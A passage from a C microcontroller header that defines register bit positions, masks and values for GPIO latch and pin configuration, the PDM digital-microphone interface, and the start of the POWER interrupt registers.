#define GPIO_LATCH_PIN27_Latched (1UL) /*!< Criteria has been met */
/* Bit 26 : Status on whether PIN26 has met criteria set in PIN_CNF26.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN26_Pos (26UL) /*!< Position of PIN26 field. */
#define GPIO_LATCH_PIN26_Msk (0x1UL << GPIO_LATCH_PIN26_Pos) /*!< Bit mask of PIN26 field. */
#define GPIO_LATCH_PIN26_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN26_Latched (1UL) /*!< Criteria has been met */
/* Bit 25 : Status on whether PIN25 has met criteria set in PIN_CNF25.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN25_Pos (25UL) /*!< Position of PIN25 field. */
#define GPIO_LATCH_PIN25_Msk (0x1UL << GPIO_LATCH_PIN25_Pos) /*!< Bit mask of PIN25 field. */
#define GPIO_LATCH_PIN25_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN25_Latched (1UL) /*!< Criteria has been met */
/* Bit 24 : Status on whether PIN24 has met criteria set in PIN_CNF24.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN24_Pos (24UL) /*!< Position of PIN24 field. */
#define GPIO_LATCH_PIN24_Msk (0x1UL << GPIO_LATCH_PIN24_Pos) /*!< Bit mask of PIN24 field. */
#define GPIO_LATCH_PIN24_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN24_Latched (1UL) /*!< Criteria has been met */
/* Bit 23 : Status on whether PIN23 has met criteria set in PIN_CNF23.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN23_Pos (23UL) /*!< Position of PIN23 field. */
#define GPIO_LATCH_PIN23_Msk (0x1UL << GPIO_LATCH_PIN23_Pos) /*!< Bit mask of PIN23 field. */
#define GPIO_LATCH_PIN23_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN23_Latched (1UL) /*!< Criteria has been met */
/* Bit 22 : Status on whether PIN22 has met criteria set in PIN_CNF22.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN22_Pos (22UL) /*!< Position of PIN22 field. */
#define GPIO_LATCH_PIN22_Msk (0x1UL << GPIO_LATCH_PIN22_Pos) /*!< Bit mask of PIN22 field. */
#define GPIO_LATCH_PIN22_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN22_Latched (1UL) /*!< Criteria has been met */
/* Bit 21 : Status on whether PIN21 has met criteria set in PIN_CNF21.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN21_Pos (21UL) /*!< Position of PIN21 field. */
#define GPIO_LATCH_PIN21_Msk (0x1UL << GPIO_LATCH_PIN21_Pos) /*!< Bit mask of PIN21 field. */
#define GPIO_LATCH_PIN21_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN21_Latched (1UL) /*!< Criteria has been met */
/* Bit 20 : Status on whether PIN20 has met criteria set in PIN_CNF20.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN20_Pos (20UL) /*!< Position of PIN20 field. */
#define GPIO_LATCH_PIN20_Msk (0x1UL << GPIO_LATCH_PIN20_Pos) /*!< Bit mask of PIN20 field. */
#define GPIO_LATCH_PIN20_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN20_Latched (1UL) /*!< Criteria has been met */
/* Bit 19 : Status on whether PIN19 has met criteria set in PIN_CNF19.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN19_Pos (19UL) /*!< Position of PIN19 field. */
#define GPIO_LATCH_PIN19_Msk (0x1UL << GPIO_LATCH_PIN19_Pos) /*!< Bit mask of PIN19 field. */
#define GPIO_LATCH_PIN19_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN19_Latched (1UL) /*!< Criteria has been met */
/* Bit 18 : Status on whether PIN18 has met criteria set in PIN_CNF18.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN18_Pos (18UL) /*!< Position of PIN18 field. */
#define GPIO_LATCH_PIN18_Msk (0x1UL << GPIO_LATCH_PIN18_Pos) /*!< Bit mask of PIN18 field. */
#define GPIO_LATCH_PIN18_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN18_Latched (1UL) /*!< Criteria has been met */
/* Bit 17 : Status on whether PIN17 has met criteria set in PIN_CNF17.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN17_Pos (17UL) /*!< Position of PIN17 field. */
#define GPIO_LATCH_PIN17_Msk (0x1UL << GPIO_LATCH_PIN17_Pos) /*!< Bit mask of PIN17 field. */
#define GPIO_LATCH_PIN17_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN17_Latched (1UL) /*!< Criteria has been met */
/* Bit 16 : Status on whether PIN16 has met criteria set in PIN_CNF16.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN16_Pos (16UL) /*!< Position of PIN16 field. */
#define GPIO_LATCH_PIN16_Msk (0x1UL << GPIO_LATCH_PIN16_Pos) /*!< Bit mask of PIN16 field. */
#define GPIO_LATCH_PIN16_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN16_Latched (1UL) /*!< Criteria has been met */
/* Bit 15 : Status on whether PIN15 has met criteria set in PIN_CNF15.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN15_Pos (15UL) /*!< Position of PIN15 field. */
#define GPIO_LATCH_PIN15_Msk (0x1UL << GPIO_LATCH_PIN15_Pos) /*!< Bit mask of PIN15 field. */
#define GPIO_LATCH_PIN15_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN15_Latched (1UL) /*!< Criteria has been met */
/* Bit 14 : Status on whether PIN14 has met criteria set in PIN_CNF14.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN14_Pos (14UL) /*!< Position of PIN14 field. */
#define GPIO_LATCH_PIN14_Msk (0x1UL << GPIO_LATCH_PIN14_Pos) /*!< Bit mask of PIN14 field. */
#define GPIO_LATCH_PIN14_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN14_Latched (1UL) /*!< Criteria has been met */
/* Bit 13 : Status on whether PIN13 has met criteria set in PIN_CNF13.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN13_Pos (13UL) /*!< Position of PIN13 field. */
#define GPIO_LATCH_PIN13_Msk (0x1UL << GPIO_LATCH_PIN13_Pos) /*!< Bit mask of PIN13 field. */
#define GPIO_LATCH_PIN13_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN13_Latched (1UL) /*!< Criteria has been met */
/* Bit 12 : Status on whether PIN12 has met criteria set in PIN_CNF12.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN12_Pos (12UL) /*!< Position of PIN12 field. */
#define GPIO_LATCH_PIN12_Msk (0x1UL << GPIO_LATCH_PIN12_Pos) /*!< Bit mask of PIN12 field. */
#define GPIO_LATCH_PIN12_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN12_Latched (1UL) /*!< Criteria has been met */
/* Bit 11 : Status on whether PIN11 has met criteria set in PIN_CNF11.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN11_Pos (11UL) /*!< Position of PIN11 field. */
#define GPIO_LATCH_PIN11_Msk (0x1UL << GPIO_LATCH_PIN11_Pos) /*!< Bit mask of PIN11 field. */
#define GPIO_LATCH_PIN11_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN11_Latched (1UL) /*!< Criteria has been met */
/* Bit 10 : Status on whether PIN10 has met criteria set in PIN_CNF10.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN10_Pos (10UL) /*!< Position of PIN10 field. */
#define GPIO_LATCH_PIN10_Msk (0x1UL << GPIO_LATCH_PIN10_Pos) /*!< Bit mask of PIN10 field. */
#define GPIO_LATCH_PIN10_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN10_Latched (1UL) /*!< Criteria has been met */
/* Bit 9 : Status on whether PIN9 has met criteria set in PIN_CNF9.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN9_Pos (9UL) /*!< Position of PIN9 field. */
#define GPIO_LATCH_PIN9_Msk (0x1UL << GPIO_LATCH_PIN9_Pos) /*!< Bit mask of PIN9 field. */
#define GPIO_LATCH_PIN9_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN9_Latched (1UL) /*!< Criteria has been met */
/* Bit 8 : Status on whether PIN8 has met criteria set in PIN_CNF8.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN8_Pos (8UL) /*!< Position of PIN8 field. */
#define GPIO_LATCH_PIN8_Msk (0x1UL << GPIO_LATCH_PIN8_Pos) /*!< Bit mask of PIN8 field. */
#define GPIO_LATCH_PIN8_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN8_Latched (1UL) /*!< Criteria has been met */
/* Bit 7 : Status on whether PIN7 has met criteria set in PIN_CNF7.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN7_Pos (7UL) /*!< Position of PIN7 field. */
#define GPIO_LATCH_PIN7_Msk (0x1UL << GPIO_LATCH_PIN7_Pos) /*!< Bit mask of PIN7 field. */
#define GPIO_LATCH_PIN7_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN7_Latched (1UL) /*!< Criteria has been met */
/* Bit 6 : Status on whether PIN6 has met criteria set in PIN_CNF6.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN6_Pos (6UL) /*!< Position of PIN6 field. */
#define GPIO_LATCH_PIN6_Msk (0x1UL << GPIO_LATCH_PIN6_Pos) /*!< Bit mask of PIN6 field. */
#define GPIO_LATCH_PIN6_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN6_Latched (1UL) /*!< Criteria has been met */
/* Bit 5 : Status on whether PIN5 has met criteria set in PIN_CNF5.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN5_Pos (5UL) /*!< Position of PIN5 field. */
#define GPIO_LATCH_PIN5_Msk (0x1UL << GPIO_LATCH_PIN5_Pos) /*!< Bit mask of PIN5 field. */
#define GPIO_LATCH_PIN5_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN5_Latched (1UL) /*!< Criteria has been met */
/* Bit 4 : Status on whether PIN4 has met criteria set in PIN_CNF4.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN4_Pos (4UL) /*!< Position of PIN4 field. */
#define GPIO_LATCH_PIN4_Msk (0x1UL << GPIO_LATCH_PIN4_Pos) /*!< Bit mask of PIN4 field. */
#define GPIO_LATCH_PIN4_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN4_Latched (1UL) /*!< Criteria has been met */
/* Bit 3 : Status on whether PIN3 has met criteria set in PIN_CNF3.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN3_Pos (3UL) /*!< Position of PIN3 field. */
#define GPIO_LATCH_PIN3_Msk (0x1UL << GPIO_LATCH_PIN3_Pos) /*!< Bit mask of PIN3 field. */
#define GPIO_LATCH_PIN3_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN3_Latched (1UL) /*!< Criteria has been met */
/* Bit 2 : Status on whether PIN2 has met criteria set in PIN_CNF2.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN2_Pos (2UL) /*!< Position of PIN2 field. */
#define GPIO_LATCH_PIN2_Msk (0x1UL << GPIO_LATCH_PIN2_Pos) /*!< Bit mask of PIN2 field. */
#define GPIO_LATCH_PIN2_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN2_Latched (1UL) /*!< Criteria has been met */
/* Bit 1 : Status on whether PIN1 has met criteria set in PIN_CNF1.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN1_Pos (1UL) /*!< Position of PIN1 field. */
#define GPIO_LATCH_PIN1_Msk (0x1UL << GPIO_LATCH_PIN1_Pos) /*!< Bit mask of PIN1 field. */
#define GPIO_LATCH_PIN1_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN1_Latched (1UL) /*!< Criteria has been met */
/* Bit 0 : Status on whether PIN0 has met criteria set in PIN_CNF0.SENSE register. Write '1' to clear. */
#define GPIO_LATCH_PIN0_Pos (0UL) /*!< Position of PIN0 field. */
#define GPIO_LATCH_PIN0_Msk (0x1UL << GPIO_LATCH_PIN0_Pos) /*!< Bit mask of PIN0 field. */
#define GPIO_LATCH_PIN0_NotLatched (0UL) /*!< Criteria has not been met */
#define GPIO_LATCH_PIN0_Latched (1UL) /*!< Criteria has been met */
/* Register: GPIO_DETECTMODE */
/* Description: Select between default DETECT signal behaviour and LDETECT mode */
/* Bit 0 : Select between default DETECT signal behaviour and LDETECT mode */
#define GPIO_DETECTMODE_DETECTMODE_Pos (0UL) /*!< Position of DETECTMODE field. */
#define GPIO_DETECTMODE_DETECTMODE_Msk (0x1UL << GPIO_DETECTMODE_DETECTMODE_Pos) /*!< Bit mask of DETECTMODE field. */
#define GPIO_DETECTMODE_DETECTMODE_Default (0UL) /*!< DETECT directly connected to PIN DETECT signals */
#define GPIO_DETECTMODE_DETECTMODE_LDETECT (1UL) /*!< Use the latched LDETECT behaviour */
/* Register: GPIO_PIN_CNF */
/* Description: Description collection[0]: Configuration of GPIO pins */
/* Bits 17..16 : Pin sensing mechanism */
#define GPIO_PIN_CNF_SENSE_Pos (16UL) /*!< Position of SENSE field. */
#define GPIO_PIN_CNF_SENSE_Msk (0x3UL << GPIO_PIN_CNF_SENSE_Pos) /*!< Bit mask of SENSE field. */
#define GPIO_PIN_CNF_SENSE_Disabled (0UL) /*!< Disabled */
#define GPIO_PIN_CNF_SENSE_High (2UL) /*!< Sense for high level */
#define GPIO_PIN_CNF_SENSE_Low (3UL) /*!< Sense for low level */
/* Bits 10..8 : Drive configuration */
#define GPIO_PIN_CNF_DRIVE_Pos (8UL) /*!< Position of DRIVE field. */
#define GPIO_PIN_CNF_DRIVE_Msk (0x7UL << GPIO_PIN_CNF_DRIVE_Pos) /*!< Bit mask of DRIVE field. */
#define GPIO_PIN_CNF_DRIVE_S0S1 (0UL) /*!< Standard '0', standard '1' */
#define GPIO_PIN_CNF_DRIVE_H0S1 (1UL) /*!< High drive '0', standard '1' */
#define GPIO_PIN_CNF_DRIVE_S0H1 (2UL) /*!< Standard '0', high drive '1' */
#define GPIO_PIN_CNF_DRIVE_H0H1 (3UL) /*!< High drive '0', high 'drive '1'' */
#define GPIO_PIN_CNF_DRIVE_D0S1 (4UL) /*!< Disconnect '0' standard '1' (normally used for wired-or connections) */
#define GPIO_PIN_CNF_DRIVE_D0H1 (5UL) /*!< Disconnect '0', high drive '1' (normally used for wired-or connections) */
#define GPIO_PIN_CNF_DRIVE_S0D1 (6UL) /*!< Standard '0'. disconnect '1' (normally used for wired-and connections) */
#define GPIO_PIN_CNF_DRIVE_H0D1 (7UL) /*!< High drive '0', disconnect '1' (normally used for wired-and connections) */
/* Bits 3..2 : Pull configuration */
#define GPIO_PIN_CNF_PULL_Pos (2UL) /*!< Position of PULL field. */
#define GPIO_PIN_CNF_PULL_Msk (0x3UL << GPIO_PIN_CNF_PULL_Pos) /*!< Bit mask of PULL field. */
#define GPIO_PIN_CNF_PULL_Disabled (0UL) /*!< No pull */
#define GPIO_PIN_CNF_PULL_Pulldown (1UL) /*!< Pull down on pin */
#define GPIO_PIN_CNF_PULL_Pullup (3UL) /*!< Pull up on pin */
/* Bit 1 : Connect or disconnect input buffer */
#define GPIO_PIN_CNF_INPUT_Pos (1UL) /*!< Position of INPUT field. */
#define GPIO_PIN_CNF_INPUT_Msk (0x1UL << GPIO_PIN_CNF_INPUT_Pos) /*!< Bit mask of INPUT field. */
#define GPIO_PIN_CNF_INPUT_Connect (0UL) /*!< Connect input buffer */
#define GPIO_PIN_CNF_INPUT_Disconnect (1UL) /*!< Disconnect input buffer */
/* Bit 0 : Pin direction. Same physical register as DIR register */
#define GPIO_PIN_CNF_DIR_Pos (0UL) /*!< Position of DIR field. */
#define GPIO_PIN_CNF_DIR_Msk (0x1UL << GPIO_PIN_CNF_DIR_Pos) /*!< Bit mask of DIR field. */
#define GPIO_PIN_CNF_DIR_Input (0UL) /*!< Configure pin as an input pin */
#define GPIO_PIN_CNF_DIR_Output (1UL) /*!< Configure pin as an output pin */
/* Peripheral: PDM */
/* Description: Pulse Density Modulation (Digital Microphone) Interface */
/* Register: PDM_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 2 : Enable or disable interrupt for END event */
#define PDM_INTEN_END_Pos (2UL) /*!< Position of END field. */
#define PDM_INTEN_END_Msk (0x1UL << PDM_INTEN_END_Pos) /*!< Bit mask of END field. */
#define PDM_INTEN_END_Disabled (0UL) /*!< Disable */
#define PDM_INTEN_END_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for STOPPED event */
#define PDM_INTEN_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define PDM_INTEN_STOPPED_Msk (0x1UL << PDM_INTEN_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define PDM_INTEN_STOPPED_Disabled (0UL) /*!< Disable */
#define PDM_INTEN_STOPPED_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable interrupt for STARTED event */
#define PDM_INTEN_STARTED_Pos (0UL) /*!< Position of STARTED field. */
#define PDM_INTEN_STARTED_Msk (0x1UL << PDM_INTEN_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define PDM_INTEN_STARTED_Disabled (0UL) /*!< Disable */
#define PDM_INTEN_STARTED_Enabled (1UL) /*!< Enable */
/* Register: PDM_INTENSET */
/* Description: Enable interrupt */
/* Bit 2 : Write '1' to Enable interrupt for END event */
#define PDM_INTENSET_END_Pos (2UL) /*!< Position of END field. */
#define PDM_INTENSET_END_Msk (0x1UL << PDM_INTENSET_END_Pos) /*!< Bit mask of END field. */
#define PDM_INTENSET_END_Disabled (0UL) /*!< Read: Disabled */
#define PDM_INTENSET_END_Enabled (1UL) /*!< Read: Enabled */
#define PDM_INTENSET_END_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for STOPPED event */
#define PDM_INTENSET_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define PDM_INTENSET_STOPPED_Msk (0x1UL << PDM_INTENSET_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define PDM_INTENSET_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define PDM_INTENSET_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define PDM_INTENSET_STOPPED_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for STARTED event */
#define PDM_INTENSET_STARTED_Pos (0UL) /*!< Position of STARTED field. */
#define PDM_INTENSET_STARTED_Msk (0x1UL << PDM_INTENSET_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define PDM_INTENSET_STARTED_Disabled (0UL) /*!< Read: Disabled */
#define PDM_INTENSET_STARTED_Enabled (1UL) /*!< Read: Enabled */
#define PDM_INTENSET_STARTED_Set (1UL) /*!< Enable */
/* Register: PDM_INTENCLR */
/* Description: Disable interrupt */
/* Bit 2 : Write '1' to Disable interrupt for END event */
#define PDM_INTENCLR_END_Pos (2UL) /*!< Position of END field. */
#define PDM_INTENCLR_END_Msk (0x1UL << PDM_INTENCLR_END_Pos) /*!< Bit mask of END field. */
#define PDM_INTENCLR_END_Disabled (0UL) /*!< Read: Disabled */
#define PDM_INTENCLR_END_Enabled (1UL) /*!< Read: Enabled */
#define PDM_INTENCLR_END_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for STOPPED event */
#define PDM_INTENCLR_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define PDM_INTENCLR_STOPPED_Msk (0x1UL << PDM_INTENCLR_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define PDM_INTENCLR_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define PDM_INTENCLR_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define PDM_INTENCLR_STOPPED_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for STARTED event */
#define PDM_INTENCLR_STARTED_Pos (0UL) /*!< Position of STARTED field. */
#define PDM_INTENCLR_STARTED_Msk (0x1UL << PDM_INTENCLR_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define PDM_INTENCLR_STARTED_Disabled (0UL) /*!< Read: Disabled */
#define PDM_INTENCLR_STARTED_Enabled (1UL) /*!< Read: Enabled */
#define PDM_INTENCLR_STARTED_Clear (1UL) /*!< Disable */
/* Register: PDM_ENABLE */
/* Description: PDM module enable register */
/* Bit 0 : Enable or disable PDM module */
#define PDM_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define PDM_ENABLE_ENABLE_Msk (0x1UL << PDM_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define PDM_ENABLE_ENABLE_Disabled (0UL) /*!< Disable */
#define PDM_ENABLE_ENABLE_Enabled (1UL) /*!< Enable */
/* Register: PDM_PDMCLKCTRL */
/* Description: PDM clock generator control */
/* Bits 31..0 : PDM_CLK frequency */
#define PDM_PDMCLKCTRL_FREQ_Pos (0UL) /*!< Position of FREQ field. */
#define PDM_PDMCLKCTRL_FREQ_Msk (0xFFFFFFFFUL << PDM_PDMCLKCTRL_FREQ_Pos) /*!< Bit mask of FREQ field. */
#define PDM_PDMCLKCTRL_FREQ_1000K (0x08000000UL) /*!< PDM_CLK = 32 MHz / 32 = 1.000 MHz */
#define PDM_PDMCLKCTRL_FREQ_Default (0x08400000UL) /*!< PDM_CLK = 32 MHz / 31 = 1.032 MHz */
#define PDM_PDMCLKCTRL_FREQ_1067K (0x08800000UL) /*!< PDM_CLK = 32 MHz / 30 = 1.067 MHz */
/* Register: PDM_MODE */
/* Description: Defines the routing of the connected PDM microphones' signals */
/* Bit 1 : Defines on which PDM_CLK edge Left (or mono) is sampled */
#define PDM_MODE_EDGE_Pos (1UL) /*!< Position of EDGE field. */
#define PDM_MODE_EDGE_Msk (0x1UL << PDM_MODE_EDGE_Pos) /*!< Bit mask of EDGE field. */
#define PDM_MODE_EDGE_LeftFalling (0UL) /*!< Left (or mono) is sampled on falling edge of PDM_CLK */
#define PDM_MODE_EDGE_LeftRising (1UL) /*!< Left (or mono) is sampled on rising edge of PDM_CLK */
/* Bit 0 : Mono or stereo operation */
#define PDM_MODE_OPERATION_Pos (0UL) /*!< Position of OPERATION field. */
#define PDM_MODE_OPERATION_Msk (0x1UL << PDM_MODE_OPERATION_Pos) /*!< Bit mask of OPERATION field. */
#define PDM_MODE_OPERATION_Stereo (0UL) /*!< Sample and store one pair (Left + Right) of 16bit samples per RAM word R=[31:16]; L=[15:0] */
#define PDM_MODE_OPERATION_Mono (1UL) /*!< Sample and store two successive Left samples (16 bit each) per RAM word L1=[31:16]; L0=[15:0] */
/* Register: PDM_GAINL */
/* Description: Left output gain adjustment */
/* Bits 6..0 : Left output gain adjustment, in 0.5 dB steps, around the default module gain (see electrical parameters) 0x00 -20 dB gain adjust 0x01 -19.5 dB gain adjust (...) 0x27 -0.5 dB gain adjust 0x28 0 dB gain adjust 0x29 +0.5 dB gain adjust (...) 0x4F +19.5 dB gain adjust 0x50 +20 dB gain adjust */
#define PDM_GAINL_GAINL_Pos (0UL) /*!< Position of GAINL field. */
#define PDM_GAINL_GAINL_Msk (0x7FUL << PDM_GAINL_GAINL_Pos) /*!< Bit mask of GAINL field. */
#define PDM_GAINL_GAINL_MinGain (0x00UL) /*!< -20dB gain adjustment (minimum) */
#define PDM_GAINL_GAINL_DefaultGain (0x28UL) /*!< 0dB gain adjustment ('2500 RMS' requirement) */
#define PDM_GAINL_GAINL_MaxGain (0x50UL) /*!< +20dB gain adjustment (maximum) */
/* Register: PDM_GAINR */
/* Description: Right output gain adjustment */
/* Bits 7..0 : Right output gain adjustment, in 0.5 dB steps, around the default module gain (see electrical parameters) */
#define PDM_GAINR_GAINR_Pos (0UL) /*!< Position of GAINR field. */
#define PDM_GAINR_GAINR_Msk (0xFFUL << PDM_GAINR_GAINR_Pos) /*!< Bit mask of GAINR field. */
#define PDM_GAINR_GAINR_MinGain (0x00UL) /*!< -20dB gain adjustment (minimum) */
#define PDM_GAINR_GAINR_DefaultGain (0x28UL) /*!< 0dB gain adjustment ('2500 RMS' requirement) */
#define PDM_GAINR_GAINR_MaxGain (0x50UL) /*!< +20dB gain adjustment (maximum) */
/* Register: PDM_PSEL_CLK */
/* Description: Pin number configuration for PDM CLK signal */
/* Bit 31 : Connection */
#define PDM_PSEL_CLK_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define PDM_PSEL_CLK_CONNECT_Msk (0x1UL << PDM_PSEL_CLK_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define PDM_PSEL_CLK_CONNECT_Connected (0UL) /*!< Connect */
#define PDM_PSEL_CLK_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define PDM_PSEL_CLK_PIN_Pos (0UL) /*!< Position of PIN field. */
#define PDM_PSEL_CLK_PIN_Msk (0x1FUL << PDM_PSEL_CLK_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: PDM_PSEL_DIN */
/* Description: Pin number configuration for PDM DIN signal */
/* Bit 31 : Connection */
#define PDM_PSEL_DIN_CONNECT_Pos (31UL) /*!< Position of CONNECT field. */
#define PDM_PSEL_DIN_CONNECT_Msk (0x1UL << PDM_PSEL_DIN_CONNECT_Pos) /*!< Bit mask of CONNECT field. */
#define PDM_PSEL_DIN_CONNECT_Connected (0UL) /*!< Connect */
#define PDM_PSEL_DIN_CONNECT_Disconnected (1UL) /*!< Disconnect */
/* Bits 4..0 : Pin number */
#define PDM_PSEL_DIN_PIN_Pos (0UL) /*!< Position of PIN field. */
#define PDM_PSEL_DIN_PIN_Msk (0x1FUL << PDM_PSEL_DIN_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: PDM_SAMPLE_PTR */
/* Description: RAM address pointer to write samples to with EasyDMA */
/* Bits 31..0 : Address to write PDM samples to over DMA */
#define PDM_SAMPLE_PTR_SAMPLEPTR_Pos (0UL) /*!< Position of SAMPLEPTR field. */
#define PDM_SAMPLE_PTR_SAMPLEPTR_Msk (0xFFFFFFFFUL << PDM_SAMPLE_PTR_SAMPLEPTR_Pos) /*!< Bit mask of SAMPLEPTR field. */
/* Register: PDM_SAMPLE_MAXCNT */
/* Description: Number of samples to allocate memory for in EasyDMA mode */
/* Bits 14..0 : Length of DMA RAM allocation in number of samples */
#define PDM_SAMPLE_MAXCNT_BUFFSIZE_Pos (0UL) /*!< Position of BUFFSIZE field. */
#define PDM_SAMPLE_MAXCNT_BUFFSIZE_Msk (0x7FFFUL << PDM_SAMPLE_MAXCNT_BUFFSIZE_Pos) /*!< Bit mask of BUFFSIZE field. */
/* Peripheral: POWER */
/* Description: Power control */
/* Register: POWER_INTENSET */
/* Description: Enable interrupt */
/* Bit 6 : Write '1' to Enable interrupt for SLEEPEXIT event */
#define POWER_INTENSET_SLEEPEXIT_Pos (6UL) /*!< Position of SLEEPEXIT field. */
#define POWER_INTENSET_SLEEPEXIT_Msk (0x1UL << POWER_INTENSET_SLEEPEXIT_Pos) /*!< Bit mask of SLEEPEXIT field. */
#define POWER_INTENSET_SLEEPEXIT_Disabled (0UL) /*!< Read: Disabled */
#define POWER_INTENSET_SLEEPEXIT_Enabled (1UL) /*!< Read: Enabled */
#define POWER_INTENSET_SLEEPEXIT_Set (1UL) /*!< Enable */
/* Bit 5 : Write '1' to Enable interrupt for SLEEPENTER event */
#define POWER_INTENSET_SLEEPENTER_Pos (5UL) /*!< Position of SLEEPENTER field. */
#define POWER_INTENSET_SLEEPENTER_Msk (0x1UL << POWER_INTENSET_SLEEPENTER_Pos) /*!< Bit mask of SLEEPENTER field. */
#define POWER_INTENSET_SLEEPENTER_Disabled (0UL) /*!< Read: Disabled */
#define POWER_INTENSET_SLEEPENTER_Enabled (1UL) /*!< Read: Enabled */
#define POWER_INTENSET_SLEEPENTER_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for POFWARN event */
#define POWER_INTENSET_POFWARN_Pos (2UL) /*!< Position of POFWARN field. */
#define POWER_INTENSET_POFWARN_Msk (0x1UL << POWER_INTENSET_POFWARN_Pos) /*!< Bit mask of POFWARN field. */
#define POWER_INTENSET_POFWARN_Disabled (0UL) /*!< Read: Disabled */
#define POWER_INTENSET_POFWARN_Enabled (1UL) /*!< Read: Enabled */
#define POWER_INTENSET_POFWARN_Set (1UL) /*!< Enable */
/* Register: POWER_INTENCLR */
/* Description: Disable interrupt */
/* Bit 6 : Write '1' to Disable interrupt for SLEEPEXIT event */
#define POWER_INTENCLR_SLEEPEXIT_Pos (6UL) /*!< Position of SLEEPEXIT field. */
#define POWER_INTENCLR_SLEEPEXIT_Msk (0x1UL << POWER_INTENCLR_SLEEPEXIT_Pos) /*!< Bit mask of SLEEPEXIT field. */
#define POWER_INTENCLR_SLEEPEXIT_Disabled (0UL) /*!< Read: Disabled */
#define POWER_INTENCLR_SLEEPEXIT_Enabled (1UL) /*!< Read: Enabled */
#define POWER_INTENCLR_SLEEPEXIT_Clear (1UL) /*!< Disable */
/* Bit 5 : Write '1' to Disable interrupt for SLEEPENTER event */
#define POWER_INTENCLR_SLEEPENTER_Pos (5UL) /*!< Position of SLEEPENTER field. */
